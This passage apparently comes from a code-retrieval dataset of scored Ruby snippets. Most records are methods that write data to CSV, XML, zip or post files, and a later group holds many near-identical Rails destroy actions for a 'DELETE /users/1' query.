#{@name} file.\"\n end", "title": "" }, { "docid": "e5ced9cef0f3503fbb32cfca0a246dcc", "score": "0.55686057", "text": "def write\n return false unless @output\n i = 0\n CSV.open(\"#{@output}.csv\", 'w') do |csv|\n if (i == 0) && @seo\n csv << ['URL', 'Page Title', 'Meta Description', 'H1', 'H2']\n i += 1\n end\n @result.each do |entry|\n csv << entry\n end\n end\n puts HR\n puts \"File Created: #{@output}.csv\"\n puts \"Object Count: #{@result.size}\"\n puts HR\n puts\n end", "title": "" }, { "docid": "4b6847aef638f3d6378eb929f72e812f", "score": "0.55586714", "text": "def create_item(content, attributes, identifier)\n # Determine path\n if identifier == '/'\n path = 'content/index.html'\n else\n path = 'content' + identifier[0..-2] + '.html'\n end\n parent_path = File.dirname(path)\n\n # Notify\n Nanoc3::NotificationCenter.post(:file_created, path)\n\n # Write item\n FileUtils.mkdir_p(parent_path)\n File.open(path, 'w') do |io|\n io.write(YAML.dump(attributes.stringify_keys) + \"\\n\")\n io.write(\"---\\n\")\n io.write(content)\n end\n end", "title": "" }, { "docid": "d78e4bf41cbd209df1a4c918c7af9962", "score": "0.5557394", "text": "def write_to(filename); end", "title": "" }, { "docid": "d78e4bf41cbd209df1a4c918c7af9962", "score": "0.5557394", "text": "def write_to(filename); end", "title": "" }, { "docid": "62a3d0f384cf9d2494e0072a73ffd05e", "score": "0.55551577", "text": "def write_index_to_file(index, output_file)\n begin\n csv = CSV.open(output_file, 'wb')\n csv << ['URI', 'Title']\n\n # Flush Sitemap to CSV\n index.each do |key, value|\n csv << [key, value['title']]\n end\n rescue\n return false\n end\n\n return true\n end", "title": "" }, { "docid": "0102add55588d303c70e1bfdeb82604a", "score": "0.554961", "text": "def build_filename(filename, item)\n repeat_groups = []\n answer = item.record.answer\n answer_group = nil\n answer_group = next_repeat_group_up(answer.parent_id) if answer.parent_id\n if answer_group.present?\n repeat_groups = respect_ancestors(answer_group, repeat_groups)\n filename += \"-#{repeat_groups.pop}\" until repeat_groups.empty?\n end\n filename += \"-#{answer.question.code}\"\n filename += File.extname(item.filename.to_s)\n filename.gsub(/[^0-9A-Za-z.\\-]/, \"_\")\n end", "title": "" }, { "docid": "12083de77e6912b4e090ac93cd0c3ee8", "score": "0.554922", "text": "def output_file(dest, content)\n FileUtils.mkdir_p(File.dirname(dest))\n File.open(dest, 'w') do |f|\n f.write(content)\n end\n end", "title": "" }, { "docid": "ff29ef74b04f35d2155f7d7145aef078", "score": "0.5509058", "text": "def write_file(directory,filename,output)\n\n FileUtils.mkdir_p directory\n\n # create full output path\n output_path = \"#{directory}/#{filename}\"\n\n # write it\n File.open(output_path,\"w\") {|f| f.puts output }\n end", "title": "" }, { "docid": "2072b961d044caf4476d62bc70c9a78d", "score": "0.54975253", "text": "def write_to_file\n File.open(@filename, 'w+') do |f|\n f.puts header\n @todos.each.with_index do |todo, index|\n f.puts (index > 9 ? \"#{index + 1}\" : \"0#{index + 1}\") + \" | \" \\\n \"#{todo.desc + ' '*(desc_col_width - todo.desc.length)} | \" \\\n \"#{todo.complete? ? 'yes' : 'no '} | \" \\\n \"#{todo.created_at}\"\n end\n end\n end", "title": "" }, { "docid": "b3445c30a92b08eedb544d84d53c0999", "score": "0.54941463", "text": "def create_shared_item(item_path)\n if item_path[-1] == '/'\n make_directory(item_path[0..-2])\n else\n touch item_path\n end\n end", "title": "" }, { "docid": "11052fb802d5250caf6167f0c1024d35", "score": "0.54934883", "text": "def write_file(content, title, directory, permalink, filename)\n parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\n parsed_content2 = \"#{parsed_content.sub(\"date:\", \"date: \\\"#{POSTDATE}\\\"\")}\"\n parsed_content3= \"#{parsed_content2.sub(\"permalink:\", \"permalink: \\\"#{permalink}\\\"\")}\"\n File.write(\"#{directory}/#{filename}\", parsed_content3)\n puts \"#{filename} was created in '#{directory}'.\"\nend", "title": "" }, { "docid": "4a5bd0e06e320f23fbe5319f03f9e2b6", "score": "0.54890114", "text": "def generate_output_file\n return \"output_file_\"+Time.new.usec.inspect\n end", "title": "" }, { "docid": "1a38f31a8afb629e763fb11cc2058285", "score": "0.5476472", "text": "def write(items)\n lines = items.collect do |item|\n if item.respond_to? :hiverc_command\n item.hiverc_command\n else\n item.to_s\n end\n end\n @file.write(lines.join(\"\\n\") + \"\\n\")\n @file.flush\n end", "title": "" }, { "docid": "3bada3aa5d00c819decc37f8aaa8e7f4", "score": "0.54752547", "text": "def create_target_file( &file_writer )\n\t\tuid=0\n\t\t@counter_mutex.synchronize do\n\t\t\tuid=@count\n\t\t\t@count += 1\n\t\tend\n\t\tfn=\"#{@output_dir}/targs_#{self.port}_#{uid}.txt\"\n\t\tFile.open( fn, File::CREAT|File::TRUNC|File::WRONLY|File::APPEND) {|targf|\n\t\t\tfile_writer.call(targf)\n\t\t}\n\t\treturn fn\n\tend", "title": "" }, { "docid": "4ebe0d945db5adffcfce052d2ea814c2", "score": "0.54585356", "text": "def nuixWorkerItemCallback(worker_item)\n\toutput_json_path = File.join($json_export_directory,\"#{worker_item.getItemGuid}.json\")\n\toutput_json_file = java.io.File.new(output_json_path)\n\toutput_json_file.getParentFile.mkdirs\n\t$json_exporter.exportWorkerItemAsJson(worker_item,output_json_file)\nend", "title": "" }, { "docid": "7503758c672bdb94c8cf15a2d592775c", "score": "0.54405165", "text": "def write(fname, text)\n file = output + fname\n fu.mkdir_p(file.parent)\n File.open(file, 'w') { |f| f << text } unless $NOOP\n end", "title": "" }, { "docid": "ebe26a0a8e33f6eba1935ad61bf31f9e", "score": "0.54289854", "text": "def write_file(filename, line)\n uuid = SecureRandom.uuid #=> \"2d931510-d99f-494a-8c67-87feb05e1594\"\n outline = line + $/ + \"JENKINS_CREATE_UNIQUE_ARTIFACTS_RANDOM_STRING=\" + uuid \n # Create a new file and write to it \n File.open(filename, 'w') do |f| \n f.puts outline; \n end \nend", "title": "" }, { "docid": "71ef3c53f1be034785fce11596520ff6", "score": "0.5428941", "text": "def write(&block)\n target.dirname.mkpath\n target.open('w', &block)\n end", "title": "" }, { "docid": "05134f4cc716928545a6ba8b05cc98b8", "score": "0.542776", "text": "def create_nextgen_file(checks)\n begin\n OutputNextgen.log.debug \"Nextgen Output is generating....\"\n file_name = format_nextgen_specific_names(checks, @patient_eob_output_config.nextgen_file_name, \"file\")\n OutputNextgen.log.debug \"File Name: #{file_name}\"\n output_dir = \"private/data/#{@facility_name.downcase.gsub(' ','_')}/nextgen/#{Date.today.to_s}\"\n\n if @patient_eob_output_config.details[:nextgen_output_folder] && !@patient_eob_output_config.nextgen_folder_name.blank?\n folder_name = format_nextgen_specific_names(checks, @patient_eob_output_config.nextgen_folder_name, \"folder\")\n output_dir += folder_name\n end\n OutputNextgen.log.debug \"Output Folder Name: #{output_dir}\"\n\n if file_name\n FileUtils.mkdir_p(output_dir)\n end\n\n output_nextgen_start_time = Time.now\n File.open(\"#{output_dir}/#{file_name}\", 'w+') do |file|\n file << OutputNextgen::Document.new(checks).generate\n output_nextgen_end_time = Time.now\n\n record_activity(checks, 'Output Generated', 'NextGen', file_name, output_dir, output_nextgen_start_time, output_nextgen_end_time)\n\n puts \"Output generated sucessfully, file is written to:\"\n puts \"#{output_dir}/#{file_name}\"\n end\n\n if @patient_eob_output_config.details[:zip_nextgen_output] && !@patient_eob_output_config.nextgen_zip_file_name.blank?\n zip_file_name = format_nextgen_specific_names(checks, @patient_eob_output_config.nextgen_zip_file_name, \"zip\")\n OutputNextgen.log.debug \"Zip File Name: #{zip_file_name}\"\n create_zip_file_from_output(output_dir , zip_file_name, file_name)\n end\n rescue Exception => e\n OutputNextgen.log.error \"Exception => \" + e.message\n OutputNextgen.log.error e.backtrace.join(\"\\n\")\n end\n end", "title": "" }, { "docid": "3ed220ccd9163b78e98ab11500fb27b4", "score": "0.5416763", "text": "def create_xml_output_file(output_file_path)\n # puts @case_details\n\n xml_result = @case_details\n\n File.open(output_file_path, \"w+\") do |file|\n file.write(xml_result)\n end\n end", "title": "" }, { "docid": "50b3d77a5b32c3da4756a3f75bc770c4", "score": "0.5406328", "text": "def generate_output_file(zip_out, contents)\n # output entries to zip file\n created_dirs = []\n contents.each do |entry_name, content|\n create_dirs_in_zipfile(created_dirs, File.dirname(entry_name), zip_out)\n zip_out.put_next_entry(entry_name)\n #\n # convert Nokogiri XML to string\n if content.instance_of? Nokogiri::XML::Document\n content = content.to_xml(indent: 0, save_with: 0)\n end\n #\n zip_out.write(content)\n end\n end", "title": "" }, { "docid": "50b3d77a5b32c3da4756a3f75bc770c4", "score": "0.540606", "text": "def generate_output_file(zip_out, contents)\n # output entries to zip file\n created_dirs = []\n contents.each do |entry_name, content|\n create_dirs_in_zipfile(created_dirs, File.dirname(entry_name), zip_out)\n zip_out.put_next_entry(entry_name)\n #\n # convert Nokogiri XML to string\n if content.instance_of? Nokogiri::XML::Document\n content = content.to_xml(indent: 0, save_with: 0)\n end\n #\n zip_out.write(content)\n end\n end", "title": "" }, { "docid": "cabcc90f2cfce9046baf04b8e65e9f53", "score": "0.53963256", "text": "def writeToFile( character, creationStep, error )\n\n #Get the working directory, append character directory\n charDir = Dir.pwd + \"/generated_characters/\"\n\n #If the directory doesn't exist, make sure we make it\n if( !File.directory?( charDir ) )\n Dir.mkdir( charDir )\n end\n\n #Get filename from user\n fileName = acceptInput( INSTRUCTION[ creationStep ], creationStep, \"all\", error )\n\n #Create the full path\n filePath = charDir + fileName\n\n #Open and write to file. Block automatically closes file.\n open( filePath, 'w' ) do |file|\n file.puts character.to_s\n end\n\n puts \"Generated character written to file '#{filePath}'\"\n\nend", "title": "" }, { "docid": "666e32d1cd3682f0d183a27fdcc6bc0a", "score": "0.539409", "text": "def create_flat_file\n lines = []\n record_entries.each_key do |key|\n lines += build_flat_rows(key)\n end\n\n # puts lines.join(\"\\n\")\n @output_paths.each do |path|\n raise Crossbeams::FrameworkError, \"The path '#{path}' does not exist for writing EDI files\" unless File.exist?(path)\n\n File.open(File.join(path, @output_filename), 'w') { |f| f.puts lines.join(\"\\n\") }\n end\n @output_filename\n end", "title": "" }, { "docid": "96ac17cb5555fab5f6d4a139c91e2573", "score": "0.53908616", "text": "def generate_output_file(filename = 'output.java')\n\t\tif @success > 0 then\n\t\t\tputs \"Creating Substitution Mappings\"\n\t\t\tput('HEADER', build_header)\n\t\t\tput('CLASS_NAME', @class_name)\n\t\t\tput('VARIABLES', build_variables)\n\t\t\tput('LAYOUT_NAME', @layout_name)\n\t\t\tput('INITIALIZATION', build_initialization)\n\t\t\tput('EVENT_METHODS', build_event_methods)\n\t\tend\n\t\t\n\t\t#Writes the adjusted contents to a file\n\t\twrite_contents filename\n\t\t\n\t\tputs \"File generated: \" + filename\n\tend", "title": "" }, { "docid": "dadb632cc55fd3c6418050a319e84136", "score": "0.5390326", "text": "def write(filename); end", "title": "" }, { "docid": "dadb632cc55fd3c6418050a319e84136", "score": "0.5390326", "text": "def write(filename); end", "title": "" }, { "docid": "dadb632cc55fd3c6418050a319e84136", "score": "0.5390326", "text": "def write(filename); end", "title": "" }, { "docid": "54f76a31d085a61e1b530671f30e1d62", "score": "0.53892183", "text": "def write(file); end", "title": "" }, { "docid": "e0e1957a806395b9211d0bf51c808fd4", "score": "0.5386686", "text": "def write_test_output(file,data)\n begin\n FileUtils.mkdir_p(output_path(''))\n rescue SystemCallError\n # ignore the error if the directory already exists\n end\n File.open(output_path(file),'wb'){|f| f.write(data)}\n return File.open(output_path(file),'rb'){|f| f.read}\n end", "title": "" }, { "docid": "2c2a95a3cad48578ae0d5e6dc1289870", "score": "0.53816473", "text": "def create_csv_file(checks)\n begin\n file_name = file_name_generic(checks)\n output_dir_indexed_image = \"private/data/#{facility_name}/csv/#{Date.today.to_s}\"\n if file_name\n FileUtils.mkdir_p(output_dir_indexed_image)\n end\n File.open(\"#{output_dir_indexed_image}/#{file_name}\", 'w+') do |file|\n file << OutputCsv::Document.new(checks).generate\n puts \"Output generated sucessfully, file is written to:\"\n puts \"#{output_dir_indexed_image}/#{file_name}\"\n end\n rescue Exception => e\n OutputCSV.log.error \"Exception => \" + e.message\n OutputCSV.log.error e.backtrace.join(\"\\n\")\n end \n end", "title": "" }, { "docid": "2d3af3814c00b963d0aa2edcfd3be25f", "score": "0.5378464", "text": "def tweet_item(item)\n @twitter.tweet @tweet_writer.write_tweet(item)\n end", "title": "" }, { "docid": "82b074fd9dc0ab1b2f7a237d543e97ed", "score": "0.5377249", "text": "def output(content, file)\n # Output the file\n path = get_path(file)\n if create_path?(path)\n if File.writable?(File.dirname(path))\n # Uglify the files if the flag is set\n if options[:uglify]\n uglify(content, file, path)\n else\n save(content, path)\n end\n else\n path.gsub! \"#{cwd}/\", ''\n message = \"The path #{ rel } is not writable.\"\n puts \"here\"\n @formatter.error(message)\n return\n end\n end\n end", "title": "" }, { "docid": "9918c63a3e6ff44587b3e80834d42b34", "score": "0.5376653", "text": "def with_io(&block)\n if self.output_file\n require 'fileutils'\n FileUtils.mkdir_p(File.dirname(self.output_file))\n File.open(self.output_file, \"w\", &block)\n else\n block.call(environment.output_buffer)\n end\n end", "title": "" }, { "docid": "84a6f6c5edc50047774e28b3ed8ce963", "score": "0.53701276", "text": "def save_attachment(resource_item)\n return if resource_item.nil? || resource_item.file_data.nil? || resource_item.file_name.nil?\n\n File.binwrite(ResourceItem.file_temp_storage_path(:upload, sub_directory, resource_item.file_name),\n resource_item.file_data)\n end", "title": "" }, { "docid": "cb290872b4b7ade079b5a673507b6b46", "score": "0.5367178", "text": "def write_cert_to_file(revoked_item, revoked_path)\n dirname = File.dirname(revoked_path)\n unless File.directory?(revoked_path)\n FileUtils.mkdir_p(revoked_path)\n end\n filename = revoked_path + \"/\" + revoked_item['host'] + \".pem\"\n File.open(filename, 'w') { |file| file.write(revoked_item['certificate']) }\n return filename\n end", "title": "" }, { "docid": "5d2ae8f0319f9b4c8f3fabf572cf551c", "score": "0.53601056", "text": "def output_file(filename)\n @output = open(filename, \"a\")\n end", "title": "" }, { "docid": "619d012cabfabaec714138d1952af156", "score": "0.5351855", "text": "def write_file model\n output = render_file model\n save_file output, model.name.underscore\n output\n end", "title": "" }, { "docid": "ad5715f8e1c60bc8eba917a0ad1ebdbf", "score": "0.53493726", "text": "def write_catalog_to_output_file(file_name, catalog)\n output_file = File.open(\"./output/#{file_name}.csv\", \"w\")\n output_file.puts \"SKU,Description,Source\"\n sort(catalog.items).each { |e| output_file.puts \"#{e.sku},#{e.description},#{e.source}\" }\n output_file.close\nend", "title": "" }, { "docid": "6db04a9ba97fc071fa56f26e61ac65ce", "score": "0.5345949", "text": "def to_file; destination_to_file end", "title": "" }, { "docid": "54f9695b39ad0546e25e5955dd6d3818", "score": "0.53411055", "text": "def write_to_output(filename,output)\n File.open(filename, 'w') {|f| f.write(output) }\nend", "title": "" }, { "docid": "54f9695b39ad0546e25e5955dd6d3818", "score": "0.53411055", "text": "def write_to_output(filename,output)\n File.open(filename, 'w') {|f| f.write(output) }\nend", "title": "" }, { "docid": "c679cdbc8b734eefab153e2837c55a9f", "score": "0.53359777", "text": "def write!\n target.dirname.mkpath\n File.open(target, 'w') {|file| file.write(render) }\n rescue\n $stderr.puts \"error writing to #{@target}\"\n raise\n end", "title": "" }, { "docid": "f1cf3433f5643fdcb569b6abd519c4aa", "score": "0.5335338", "text": "def write output, target; end", "title": "" }, { "docid": "e4e88cf72403e3a6d459859383084852", "score": "0.53345716", "text": "def write_output(file)\n doc = nil\n if(File.exists?(file))\n doc = REXML::Document.new(File.new(file))\n else\n doc = REXML::Document.new \n doc << REXML::XMLDecl.new\n# doc.add_element 'pwa-fit'\n end\n self._add_iteration(doc)\n out = File.new(file,'w')\n doc.write(out,0)\n out.close\nend", "title": "" }, { "docid": "2cafb8fc9fad4ce5f1e0e73a114d3ef8", "score": "0.5321929", "text": "def write_file(output, data)\n File.open(output, 'wb'){|file| file.write(data)}\nend", "title": "" }, { "docid": "2fee3fce36d1e751902392cc0734f999", "score": "0.5320867", "text": "def outfile=(f)\n @output = if f.kind_of?(IO) then f else File.new(f, \"w\") end\n end", "title": "" }, { "docid": "0bce81c285faa3d52a886ed2cba92e27", "score": "0.53142595", "text": "def write_ouput_file(output_hash, path_to_input_test_file, run)\n splitted_path = path_to_input_test_file.split '/'\n input_file_name = splitted_path[-1].split('.')[0]\n path_to_output_file =\n \"#{splitted_path.slice(0..-2).join('/')}/#{input_file_name}-OUTPUT.csv\"\n File.delete(path_to_output_file) if File.exist?(path_to_output_file) && run.zero?\n file = File.open path_to_output_file, 'a'\n if run.zero?\n if @algorithm_name != 'cchtga'\n file.puts 'best fitness,generation of best fitness,function evaluations of best fitness,optimal value,relative error'\n else\n file.puts 'best fitness,generation of best fitness,function evaluations of best fitness,optimal value,relative error,subsystems'\n end\n end\n file.puts \"#{output_hash[:best_fit]},#{output_hash[:gen_of_best_fit]},#{output_hash[:func_evals_of_best_fit]},#{output_hash[:optimal_func_val]},#{output_hash[:relative_error]},#{output_hash[:num_subsystems]}\"\n file.close\n end", "title": "" }, { "docid": "d58c6a0410c95157e5abd88b52078284", "score": "0.5307054", "text": "def write_file\n # if self.dirty?\n self.generate\n File.delete self.absolute_path if File.exists? self.absolute_path\n File.open(self.absolute_path, 'w+') do |f| \n f.write(self.generated_header)\n f.write(self.content)\n end\n # self.not_dirty\n # end\n end", "title": "" }, { "docid": "da4cdf06841acca5f2ae29ae99ba5217", "score": "0.5302926", "text": "def write_file(content, title, directory, filename)\n parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\n parsed_content = \"#{parsed_content.sub(\"date:\", \"date: #{POST_TIME}\")}\"\n File.write(\"#{directory}/#{filename}\", parsed_content)\n puts \"#{filename} was created in '#{directory}'.\"\nend", "title": "" }, { "docid": "da4cdf06841acca5f2ae29ae99ba5217", "score": "0.5302926", "text": "def write_file(content, title, directory, filename)\n parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\n parsed_content = \"#{parsed_content.sub(\"date:\", \"date: #{POST_TIME}\")}\"\n File.write(\"#{directory}/#{filename}\", parsed_content)\n puts \"#{filename} was created in '#{directory}'.\"\nend", "title": "" }, { "docid": "da4cdf06841acca5f2ae29ae99ba5217", "score": "0.5302926", "text": "def write_file(content, title, directory, filename)\n parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\n parsed_content = \"#{parsed_content.sub(\"date:\", \"date: #{POST_TIME}\")}\"\n File.write(\"#{directory}/#{filename}\", parsed_content)\n puts \"#{filename} was created in '#{directory}'.\"\nend", "title": "" }, { "docid": "7ddcdf584d999201046135a1acdb3f41", "score": "0.5301065", "text": "def write_file(content, title, directory, filename)\r\n parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\r\n parsed_content = \"#{parsed_content.sub(\"date:\", \"date: #{POST_TIME}\")}\"\r\n File.write(\"#{directory}/#{filename}\", parsed_content)\r\n puts \"#{filename} was created in '#{directory}'.\"\r\nend", "title": "" }, { "docid": "7ddcdf584d999201046135a1acdb3f41", "score": "0.5301065", "text": "def write_file(content, title, directory, filename)\r\n parsed_content = \"#{content.sub(\"title:\", \"title: \\\"#{title}\\\"\")}\"\r\n parsed_content = \"#{parsed_content.sub(\"date:\", \"date: #{POST_TIME}\")}\"\r\n File.write(\"#{directory}/#{filename}\", parsed_content)\r\n puts \"#{filename} was created in '#{directory}'.\"\r\nend", "title": "" }, { "docid": "536fcd7b6fbafddb2d47cb10569b2396", "score": "0.5290272", "text": "def output_path(filename) \n out_path = File.join(File.dirname(__FILE__), '..', 'test_output') \n begin\n FileUtils.mkdir(out_path)\n rescue SystemCallError\n # ignore the error if the directory already exists\n end\n return File.join(out_path, filename)\n end", "title": "" }, { "docid": "cab2f4bc73dd6d43c2f630c60c8c5489", "score": "0.5290056", "text": "def write(args)\n File.open(args[:destination], 'w') do |f|\n f.write(args[:file])\n f.close\n end\n end", "title": "" }, { "docid": "53e2e0dc98897d026b23c49950dc9cde", "score": "0.52893627", "text": "def write(io_or_filename, pretty = false)\n # Open a handle in the right encoding if not passed an io\n fout = io_or_filename.is_a?(IO) ? io_or_filename : File.open(io_or_filename.to_s, mode: 'w',\n encoding: USASTools::Lexicon::get_feature_by_version(version, :encoding))\n \n # Write header\n fout.write(\"#{HEADER_MAGIC_NUMBER}_#{version}_mw\\n\")\n\n # Establish min pattern width for columnular output\n if pretty\n min_col_width = [store.keys.map{ |p| p.to_s.length }.max, 150].min\n end\n\n # Write items in-order\n store.keys.sort.each do |pattern|\n # Get data and convert to string\n tags = @store[pattern]\n pattern_str = pattern.to_s\n tags_str = tags.join(' ')\n\n # Compose output in normal or pretty (padded) format\n if pretty\n pattern_str += ' '*(min_col_width - pattern_str.length)\n end\n\n fout.write(\"#{pattern_str} \\t #{tags_str}\\n\")\n end\n\n ensure\n fout.close if fout && !io_or_filename.is_a?(IO)\n end", "title": "" }, { "docid": "1a15c27f8da778bee6da3743fa6583fd", "score": "0.52858806", "text": "def writeXml(out, toDir)\n # Check if the ID is nil\n id = (out[:id].nil?) ? \"IDNA_#{$idna.to_s.rjust(7, \"0\")}\" : out[:id]\n # Check that the output directory string ends with a slash\n toDir = \"#{toDir}/\" if not toDir.match?(/\\/$/)\n # Write the string to a file\n File.write(\"#{toDir}#{id}.xml\", xmlOutputText(out[:text]), :mode => \"w\")\nend", "title": "" }, { "docid": "10749828c8c47764d88544b6c6b243b9", "score": "0.52858603", "text": "def write(destination)\n destination_dir = File.join(destination, dir)\n FileUtils.mkdir_p destination_dir\n\n File.open(File.join(destination_dir, \"#{slug}.html\"), \"w\") do |f|\n f.write output\n end\n end", "title": "" }, { "docid": "35ccf8134e69b78139f6be6e1aa7db83", "score": "0.5281886", "text": "def write(dest_perfix, dest_suffix = nil)\n dest = dest_perfix\n dest = File.join(dest, dest_suffix) if dest_suffix\n # The url needs to be unescaped in order to preserve the\n # correct filename\n path = File.join(dest, CGI.unescape(self.url))\n FileUtils.mkdir_p(File.dirname(path))\n File.open(path, 'w') do |f|\n f.write(self.output)\n end\n end", "title": "" } ]
d4a1edaae4d92d004632cf64501ce2e7
DELETE /users/1 DELETE /users/1.json
[ { "docid": "18bff7ef9ba4936e927aafbe82d27cb2", "score": "0.0", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n end\n end", "title": "" } ]
[ { "docid": "8e69eb3ff3374e0db6fa9eb17958df65", "score": "0.78750724", "text": "def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end", "title": "" }, { "docid": "6f74a32c6fdb67babd4a903e37b5baa4", "score": "0.77518034", "text": "def delete\n render json: User.delete(params[\"id\"])\n end", "title": "" }, { "docid": "95f7909f2d660a9b4f3be6031cc3886e", "score": "0.7713981", "text": "def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end", "title": "" }, { "docid": "8412d693fd475cb8f222f90b6a98bbae", "score": "0.7610077", "text": "def delete\n render json: Users.delete(params[\"id\"])\n end", "title": "" }, { "docid": "b587b4c6cfd1bb2ea92c1c749bacb0e4", "score": "0.747295", "text": "def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3a48a117f7dd0668e33413a4f35160e0", "score": "0.74073994", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end", "title": "" }, { "docid": "3a48a117f7dd0668e33413a4f35160e0", "score": "0.74073994", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end", "title": "" }, { "docid": "2d6bc54e947da5bc24a844fd1ee9689c", "score": "0.7369968", "text": "def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5afe9026a6587696b06b7f81fd2d6c99", "score": "0.7346072", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bf42b70221760e3241fc7950c0291794", "score": "0.7340465", "text": "def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end", "title": "" }, { "docid": "8fc4a08e56a0c3d835644f10af6e539b", "score": "0.7328618", "text": "def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "49e635853e468880c4b43c2e1aefa3f4", "score": "0.7309635", "text": "def destroy\n @user.destroy\n format.json { head :no_content }\n end", "title": "" }, { "docid": "a9f0a8fb661670e030d3bd4827af550d", "score": "0.73095363", "text": "def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end", "title": "" }, { "docid": "360426e2a850aac27731d4be1b66cf87", "score": "0.7306841", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6de33a50410e4ade40ca04e0e009403c", "score": "0.7297868", "text": "def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end", "title": "" }, { "docid": "d88a6500f0566d646d55067066d95712", "score": "0.72917855", "text": "def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "937b3827665cd2943db1d179b82cce0c", "score": "0.7291585", "text": "def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end", "title": "" }, { "docid": "515e9a613000422a8fbaf3913d571c91", "score": "0.7289111", "text": "def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79e59ef0bc50aa13d2d93079a4d78f16", "score": "0.7284347", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": 